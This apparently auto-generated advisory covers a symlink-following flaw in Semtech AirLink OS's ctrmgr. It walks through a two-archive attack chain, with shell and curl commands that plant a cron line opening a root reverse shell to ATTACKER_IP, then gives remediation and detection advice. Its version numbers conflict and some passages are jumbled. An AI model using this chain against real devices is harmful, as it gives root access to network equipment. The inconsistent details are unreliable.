CVE-2026-137266 — Semtech AirLink OS (6.1.0.39) — CWE-61
A symbolic link following vulnerability in the ctrmgr container manager of Semtech AirLink OS (AOS) versions 5.0.0 and later but before 6.1.39 allows an authenticated administrator to create or replace files as root on the /mnt/user partition, outside the container's assigned volume. Exploitation requires two sequential volume archive uploads; the first plants a symbolic link that the second follows. This can be used to gain root access on the device. The issue is fixed in AOS 6.2.0 and backported to 6.1.0.39; restricting administrative access to trusted users reduces exposure.
A symbolic link following vulnerability in the ctrmgr container manager of Semtech AirLink OS (AOS) versions 5.0.0 and later but before 6.1.39 allows an authenticated administrator to create or replace files as root on the /mnt/user partition, outside the container's assigned volume. Exploitation requires two sequential volume archive uploads; the first plants a symbolic link that the second follows. This can be used to gain root access on the device. The issue is fixed in AOS 6.2.0 and backported to 6.1.0.39; restricting administrative access to trusted users reduces exposure.
🎯 What is this vulnerability?
CVE-2026-137266 is a Symbolic Link Following vulnerability (CWE-61) located in the ctrmgr (Container Manager) component of Semtech AirLink OS (AOS).
Technical Flaw Analysis
The core issue is a TOCTOU (Time-of-Check to Time-of-Use) race condition combined with insufficient path sanitization during volume archive extraction.1. Missing Check: The ctrmgr service, when processing volume archive uploads, does not verify that the target path for file extraction is strictly contained within the intended container volume. It fails to resolve symbolic links before performing write operations or fails to use flags like O_NOFOLLOW when opening files for writing.
2. Logic Error: The manager allows an authenticated administrator to upload an archive containing a symbolic link. When a subsequent archive is uploaded, the manager follows the existing symbolic link to a location outside the sandbox (specifically /mnt/user), allowing the attacker to overwrite or create files with root privileges.
3. Privilege Context: The ctrmgr process runs with elevated privileges (root) to manage container volumes. Because it trusts the file structure within the uploaded archives without resolving symlinks against the allowed directory tree, it effectively grants root file write access to any path reachable via a symlink.
CVSS 4.0 Interpretation:
- AV:L (Local): The attacker must have local access (e.g., SSH, console, or a compromised local service account).
- PR:H (High Privileges): The attacker must already be an authenticated administrator. This is a privilege escalation vector (Admin → Root), not an initial access vector.
- AC:H (High Complexity): Requires a specific two-step sequence (plant symlink, then follow it) and precise timing or ordering of archive uploads.
- VI:H / VA:H / SC:H / SI:H / SA:H: High impact on both the vulnerable system (V) and subsequent systems (S) due to root compromise.
- Identify Target: Confirm the device is running Semtech AirLink OS (AOS).
- Version Check: Verify the AOS version is
>= 5.0.0and< 6.1.39(or< 6.2.0). This can be done via:
* SSH login and checking - Access Verification: Ensure the attacker has administrative credentials. This is a prerequisite. Without admin access, this CVE cannot be exploited.
⚡ Attack Chain
1. Discovery & Reconnaissance
/etc/os-release or cat /etc/aos_version.
* Checking the web interface version string (if accessible).
* Using ctrmgr --version if available.
2. Exploitation
The exploitation requires two sequential volume archive uploads. The exact API endpoints forctrmgr are not publicly documented in the CVE description, so the following is an illustrative example based on typical container manager CLI/API patterns.Step 1: Plant the Symbolic Link
Create an archive (payload1.tar.gz) containing a symbolic link that points to a critical root-owned file or directory outside the container volume. For example, link to /etc/cron.d/ or a specific executable.
# Create a directory structure for the archive
mkdir -p /tmp/exploit/volume
cd /tmp/exploit/volume
# Create a symbolic link pointing to a root-writable location outside the container
# Example: Link to /etc/cron.d/ to drop a cron job
ln -s /etc/cron.d/ malicious_link
# Create the archive
tar -czf payload1.tar.gz malicious_linkStep 2: Upload the First Archive
Upload payload1.tar.gz to the ctrmgr volume management interface. The manager extracts the archive, creating the symbolic link malicious_link inside the container's assigned volume. At this point, no malicious file has been written to the host yet.
Step 3: Create the Payload Archive
Create a second archive (payload2.tar.gz) that contains a file with the same name as the symbolic link created in Step 1. This file will contain the malicious content (e.g., a reverse shell script or a cron job).
# Create the malicious file content
echo '* * * * * root /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > malicious_link
# Create the second archive
tar -czf payload2.tar.gz malicious_linkStep 4: Upload the Second Archive
Upload payload2.tar.gz to the ctrmgr volume management interface.
ctrmgr extracts payload2.tar.gz, it encounters the file malicious_link.ctrmgr follows the symlink to /etc/cron.d/ and writes the file malicious_link there as root./etc/cron.d/ with root privileges.Illustrative curl command (hypothetical endpoint):
# Step 1: Upload symlink archive
curl -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" \
-F "[email protected]" \
http://TARGET_IP/api/v1/ctrmgr/volumes/upload
# Step 2: Upload payload archive (follows the symlink)
curl -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" \
-F "[email protected]" \
http://TARGET_IP/api/v1/ctrmgr/volumes/upload3. Post-Exploitation
root.🌍 Real World Impact
Practical Consequences:
/mnt/user or other partitions.🛡️ Remediation & Mitigation
1. Patching (Primary Fix)
5.0.0 through 6.1.38 (inclusive).2. Workarounds (If Patching is Delayed)
ctrmgr Volume Uploads:[ctrmgr]
allow_archive_upload = falsenosuid, nodev, and noexec options to limit the impact of any malicious files.
* Use chroot or jail to further isolate the ctrmgr process (if supported by the OS).3. Detection (IoCs)
ctrmgr logs for archive upload events.
* Look for sequences of two uploads in a short time window.
* Example log pattern:[ctrmgr] INFO: Archive uploaded: /var/lib/ctrmgr/volumes/upload_123.tar.gz
[ctrmgr] INFO: Archive uploaded: /var/lib/ctrmgr/volumes/upload_124.tar.gzauditd or inotify to monitor /etc/cron.d/, /etc/crontab, and other critical system directories for unexpected file creation or modification.
* Alert on any new files in /etc/cron.d/ that do not match known patterns.
⚠️ Urgency
Recommendation:
While this is not a CISA KEV vulnerability and requires high privileges (admin) to exploit, it allows root escalation on a critical infrastructure component. If your environment has any risk of admin account compromise (e.g., weak passwords, phishing, insider threat), this should be treated as HIGH priority.
FOFA Query